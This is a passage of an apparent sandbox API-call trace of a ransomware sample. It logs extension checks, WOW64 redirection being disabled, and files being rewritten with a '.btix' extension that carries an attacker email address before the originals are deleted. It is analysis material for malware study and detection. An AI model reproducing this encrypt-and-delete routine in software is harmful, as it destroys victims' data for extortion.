63 [0071.075] lstrlenW (lpString=".jpg") returned 4 [0071.075] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.075] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.075] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.075] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0071.076] GetLastError () returned 0x0 [0071.076] ReadFile (in: hFile=0x394, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x6040, lpOverlapped=0x0) returned 1 [0071.552] WriteFile (in: hFile=0x32c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x6050, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x6050, lpOverlapped=0x0) returned 1 [0071.553] ReadFile (in: hFile=0x394, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.553] WriteFile (in: hFile=0x32c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xee, lpOverlapped=0x0) returned 1 [0071.553] SetEndOfFile (hFile=0x32c) returned 1 [0071.553] CloseHandle (hObject=0x32c) returned 1 [0071.553] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.553] SetEndOfFile (hFile=0x394) returned 1 [0071.554] CloseHandle (hObject=0x394) returned 1 [0071.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0071.554] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 1 [0071.555] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0071.555] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0071.555] lstrlenW (lpString=".doc") returned 4 [0071.555] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.555] lstrlenW (lpString=".docx") returned 5 [0071.555] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0071.555] lstrlenW (lpString=".pdf") returned 4 [0071.555] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.555] lstrlenW (lpString=".xls") returned 4 [0071.555] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.555] lstrlenW (lpString=".xlsx") returned 5 [0071.555] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0071.555] lstrlenW (lpString=".ppt") returned 4 [0071.555] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.555] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0071.555] lstrlenW (lpString=".zip") returned 4 [0071.555] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.555] lstrlenW (lpString=".rar") returned 4 [0071.555] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.555] lstrlenW (lpString=".bz2") returned 4 [0071.555] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.555] lstrlenW (lpString=".7z") returned 3 [0071.555] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.555] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0071.555] lstrlenW (lpString=".dbf") returned 4 [0071.555] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.555] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0071.555] lstrlenW (lpString=".1cd") returned 4 [0071.555] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.555] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll") returned 52 [0071.555] lstrlenW (lpString=".jpg") returned 4 [0071.555] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.556] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.556] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.556] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0071.556] GetLastError () returned 0x0 [0071.556] ReadFile (hFile=0x394, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0) Thread: id = 13 os_tid = 0x270 [0040.821] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10000) returned 0x73e490 [0040.821] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10000) returned 0x74e498 [0040.821] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6eca70 [0040.821] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x6) returned 0x71d160 [0040.821] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecb78 [0040.821] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x100000) returned 0x3a02020 [0040.824] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6eca88 [0040.824] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6eca88, Size=0x20) returned 0x6ce7c8 [0040.824] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecba8 [0040.824] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ecba8, Size=0x20) returned 0x6ce7f0 [0040.824] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0040.824] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0040.824] Wow64DisableWow64FsRedirection (in: OldValue=0x2eeff50 | out: OldValue=0x2eeff50*=0x0) returned 1 [0040.824] lstrlenW (lpString="kernel32.dll") returned 12 [0040.824] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce7c8 | out: hHeap=0x690000) returned 1 [0040.824] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0040.824] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce7f0 | out: hHeap=0x690000) returned 1 [0040.824] Sleep (dwMilliseconds=0x64) [0041.199] lstrcmpiW (lpString1=".cmd", lpString2=".btix") returned 1 [0041.200] lstrlenW (lpString="SetupComplete.cmd") returned 17 [0041.200] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0041.634] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=307) returned 1 [0041.634] CloseHandle (hObject=0x318) returned 1 [0041.634] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 0x20 [0041.634] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0041.634] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0041.634] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0041.634] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0041.634] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0041.653] GetLastError () returned 0x0 [0041.653] ReadFile (in: hFile=0x318, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x133, lpOverlapped=0x0) returned 1 [0041.665] WriteFile (in: hFile=0x30c, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0x140, lpOverlapped=0x0) returned 1 [0041.666] ReadFile (in: hFile=0x318, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x0, lpOverlapped=0x0) returned 1 [0041.666] WriteFile (in: hFile=0x30c, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0xf6, lpOverlapped=0x0) returned 1 [0041.679] SetEndOfFile (hFile=0x30c) returned 1 [0041.679] CloseHandle (hObject=0x30c) returned 1 [0041.679] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0041.679] SetEndOfFile (hFile=0x318) returned 1 [0041.680] CloseHandle (hObject=0x318) returned 1 [0041.680] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0041.680] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 1 [0041.680] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0041.680] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0041.681] lstrlenW (lpString=".doc") returned 4 [0041.681] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0041.681] lstrlenW (lpString=".docx") returned 5 [0041.681] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0041.681] lstrlenW (lpString=".pdf") returned 4 [0041.681] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0041.681] lstrlenW (lpString=".xls") returned 4 [0041.681] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0041.681] lstrlenW (lpString=".xlsx") returned 5 [0041.681] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0041.681] lstrlenW (lpString=".ppt") returned 4 [0041.681] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0041.681] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0041.681] lstrlenW (lpString=".zip") returned 4 [0041.681] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0041.681] lstrlenW (lpString=".rar") returned 4 [0041.681] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0041.681] lstrlenW (lpString=".bz2") returned 4 [0041.681] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0041.681] lstrlenW (lpString=".7z") returned 3 [0041.681] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0041.681] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0041.681] lstrlenW (lpString=".dbf") returned 4 [0041.681] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0041.681] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0041.681] lstrlenW (lpString=".1cd") returned 4 [0041.681] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0041.681] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0041.681] lstrlenW (lpString=".jpg") returned 4 [0041.681] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0041.681] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0041.681] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0041.681] lstrlenW (lpString=".doc") returned 4 [0041.681] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0041.682] lstrlenW (lpString=".docx") returned 5 [0041.682] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0041.682] lstrlenW (lpString=".pdf") returned 4 [0041.682] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0041.682] lstrlenW (lpString=".xls") returned 4 [0041.682] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0041.682] lstrlenW (lpString=".xlsx") returned 5 [0041.682] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0041.682] lstrlenW (lpString=".ppt") returned 4 [0041.682] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0041.682] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0041.682] lstrlenW (lpString=".zip") returned 4 [0041.682] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0041.682] lstrlenW (lpString=".rar") returned 4 [0041.682] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0041.682] lstrlenW (lpString=".bz2") returned 4 [0041.682] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0041.682] lstrlenW (lpString=".7z") returned 3 [0041.682] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0041.682] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0041.682] lstrlenW (lpString=".dbf") returned 4 [0041.682] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0041.682] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0041.682] lstrlenW (lpString=".1cd") returned 4 [0041.682] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0041.682] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0041.682] lstrlenW (lpString=".jpg") returned 4 [0041.682] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0041.682] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0041.682] lstrlenW (lpString="SetupResources.dll") returned 18 [0041.682] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0041.683] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=17240) returned 1 [0041.683] CloseHandle (hObject=0x318) returned 1 [0041.684] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 0x80 [0041.684] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0041.684] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0041.684] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0041.684] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0041.684] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0041.686] GetLastError () returned 0x0 [0041.686] ReadFile (in: hFile=0x318, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x4358, lpOverlapped=0x0) returned 1 [0041.707] WriteFile (in: hFile=0x31c, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0x4360, lpOverlapped=0x0) returned 1 [0041.708] ReadFile (in: hFile=0x318, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x0, lpOverlapped=0x0) returned 1 [0041.708] WriteFile (in: hFile=0x31c, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0xf8, lpOverlapped=0x0) returned 1 [0041.708] SetEndOfFile (hFile=0x31c) returned 1 [0041.708] CloseHandle (hObject=0x31c) returned 1 [0041.709] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0041.709] SetEndOfFile (hFile=0x318) returned 1 [0041.709] CloseHandle (hObject=0x318) returned 1 [0041.710] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0041.710] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 1 [0041.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0041.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0041.710] lstrlenW (lpString=".doc") returned 4 [0041.710] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0041.710] lstrlenW (lpString=".docx") returned 5 [0041.710] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0041.710] lstrlenW (lpString=".pdf") returned 4 [0041.710] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0041.710] lstrlenW (lpString=".xls") returned 4 [0041.710] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0041.710] lstrlenW (lpString=".xlsx") returned 5 [0041.710] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0041.710] lstrlenW (lpString=".ppt") returned 4 [0041.710] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0041.710] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0041.710] lstrlenW (lpString=".zip") returned 4 [0041.710] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0041.710] lstrlenW (lpString=".rar") returned 4 [0041.710] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0041.710] lstrlenW (lpString=".bz2") returned 4 [0041.710] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0041.711] lstrlenW (lpString=".7z") returned 3 [0041.711] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0041.711] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0041.711] lstrlenW (lpString=".dbf") returned 4 [0041.711] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0041.711] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0041.711] lstrlenW (lpString=".1cd") returned 4 [0041.711] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0041.711] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0041.711] lstrlenW (lpString=".jpg") returned 4 [0041.711] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0041.711] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0041.711] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0041.711] lstrlenW (lpString=".doc") returned 4 [0041.711] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0041.711] lstrlenW (lpString=".docx") returned 5 [0041.711] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0041.711] lstrlenW (lpString=".pdf") returned 4 [0041.711] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0041.711] lstrlenW (lpString=".xls") returned 4 [0041.711] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0041.711] lstrlenW (lpString=".xlsx") returned 5 [0041.711] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0041.711] lstrlenW (lpString=".ppt") returned 4 [0041.711] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0041.711] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0041.711] lstrlenW (lpString=".zip") returned 4 [0041.711] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0041.711] lstrlenW (lpString=".rar") returned 4 [0041.711] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0041.711] lstrlenW (lpString=".bz2") returned 4 [0041.711] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0041.711] lstrlenW (lpString=".7z") returned 3 [0041.711] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0041.712] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0041.712] lstrlenW (lpString=".dbf") returned 4 [0041.712] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0041.712] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0041.712] lstrlenW (lpString=".1cd") returned 4 [0041.712] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0041.712] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0041.712] lstrlenW (lpString=".jpg") returned 4 [0041.712] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0041.712] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0041.712] lstrlenW (lpString="SetupResources.dll") returned 18 [0041.712] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0042.176] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=18264) returned 1 [0042.176] CloseHandle (hObject=0x35c) returned 1 [0042.177] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 0x80 [0042.177] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0042.177] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0042.177] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0042.177] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0042.177] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0042.177] GetLastError () returned 0x0 [0042.177] ReadFile (in: hFile=0x35c, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x4758, lpOverlapped=0x0) returned 1 [0042.335] WriteFile (in: hFile=0x360, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0x4760, lpOverlapped=0x0) returned 1 [0042.336] ReadFile (in: hFile=0x35c, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x0, lpOverlapped=0x0) returned 1 [0042.336] WriteFile (in: hFile=0x360, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0xf8, lpOverlapped=0x0) returned 1 [0042.336] 